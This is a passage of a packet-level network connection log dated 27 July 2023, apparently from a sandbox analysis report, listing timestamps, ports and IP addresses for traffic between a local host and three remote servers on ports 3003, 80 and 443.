Jul 27, 2023 18:26:57.858306885 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858316898 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858336926 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858355045 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858371019 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858400106 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858427048 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858432055 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858458996 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858479977 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858486891 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858520985 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858552933 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858571053 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858578920 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858608961 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858613968 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858639002 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858668089 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858680010 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858695984 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858719110 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858736992 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858751059 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858779907 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858798027 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.897353888 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.897387981 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.897414923 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.897433996 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.897444010 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.897474051 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.897497892 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.897521019 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.897542000 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.897708893 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.897708893 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.898392916 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898427010 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898453951 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898468971 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.898479939 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898509979 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898519993 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.898540974 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898571014 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898595095 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898617029 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.898631096 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898663998 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898674011 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.898694992 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898725986 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898741007 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.898757935 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898788929 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898822069 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.898822069 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898857117 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898871899 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.898883104 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898911953 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898947001 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898953915 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.898972034 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.898997068 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899008989 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899041891 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899070024 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899080992 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899097919 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899128914 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899142027 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899158955 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899197102 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899203062 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899226904 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899252892 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899281025 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899298906 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899306059 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899315119 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899337053 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899367094 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899384975 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899400949 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899436951 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899447918 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899465084 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899499893 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899512053 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899530888 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899560928 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899573088 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899591923 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899621010 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899642944 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899647951 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899677992 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899692059 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.899707079 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899730921 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.899761915 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.938167095 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938220978 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938252926 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938280106 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.938296080 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938338041 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938379049 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938394070 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.938421965 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938462019 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938463926 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.938503981 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938544035 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.938544989 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938585997 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938622952 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.938626051 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938667059 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938705921 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938709021 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.938747883 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938787937 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938795090 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.938829899 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938869953 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938873053 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.938913107 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.938956022 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.938972950 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939024925 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939078093 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939100027 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939141035 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939181089 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939207077 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939222097 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939260960 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939265013 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939305067 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939335108 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939361095 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939376116 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939415932 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939455032 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939470053 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939496040 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939536095 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939542055 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939577103 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939618111 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939624071 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939657927 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939697981 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939703941 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939738989 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939779043 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939790964 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939820051 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939860106 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939877033 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939901114 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939941883 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.939949989 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.939981937 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940028906 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940033913 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.940089941 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940123081 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940154076 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.940165043 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940206051 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940248013 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940254927 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.940329075 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940371990 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940386057 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.940411091 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940440893 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.940453053 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.978916883 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.978970051 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979010105 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979022026 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979048967 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979084969 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979090929 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979131937 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979170084 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979171038 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979209900 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979249001 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979254961 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979290962 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979348898 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979356050 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979388952 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979418993 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979424000 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979460001 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979499102 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979537010 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979542017 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979576111 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979614019 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979614973 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979655027 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979693890 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979708910 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979748964 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979787111 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979789972 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979826927 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979866028 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979867935 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979918957 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.979959011 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.979959965 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980000019 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980038881 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980040073 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980077982 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980115891 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980117083 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980154991 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980192900 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980194092 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980235100 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980278969 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980302095 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980353117 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980389118 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980398893 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980427980 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980465889 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980468035 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980519056 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980557919 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980560064 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980597019 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980633020 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980633974 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980674028 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980710983 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980711937 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980750084 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980786085 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980792046 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980824947 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980863094 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980865955 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980901003 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980930090 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.980941057 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.980972052 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.981020927 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.981060982 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.981095076 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.981098890 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.981142044 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:58.332124949 CEST	49700	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:58.348879099 CEST	80	49700	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:58.349030972 CEST	49700	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:58.434598923 CEST	49702	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:58.453036070 CEST	80	49702	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:58.453264952 CEST	49702	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:58.453582048 CEST	49702	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:58.453632116 CEST	49702	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:58.469789028 CEST	80	49702	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:58.469856024 CEST	80	49702	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:58.561328888 CEST	80	49702	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:58.561378002 CEST	80	49702	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:58.561428070 CEST	49702	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:58.902946949 CEST	49702	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:58.903031111 CEST	49702	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:58.919723988 CEST	80	49702	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:58.919764042 CEST	80	49702	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:58.967736006 CEST	80	49702	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:58.967770100 CEST	80	49702	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:58.967861891 CEST	49702	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:59.237551928 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.237600088 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.237703085 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.241309881 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.241328955 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.419116020 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.419214010 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.422878981 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.422899961 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.423226118 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.574111938 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.691490889 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.732312918 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.779148102 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.779213905 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.779236078 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.779304028 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.779320002 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.779375076 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.779476881 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.779496908 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.779556036 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.851526022 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.851555109 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.851605892 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.851639032 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.851676941 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.851835012 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.852310896 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.852324963 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.852361917 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.852401018 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.852430105 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.852458000 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.852458000 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.852911949 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.852972984 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.853015900 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.853034019 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.853069067 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.925067902 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.925215006 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.925251961 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.925631046 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.925653934 CEST	443	49703	213.6.54.58	192.168.2.4
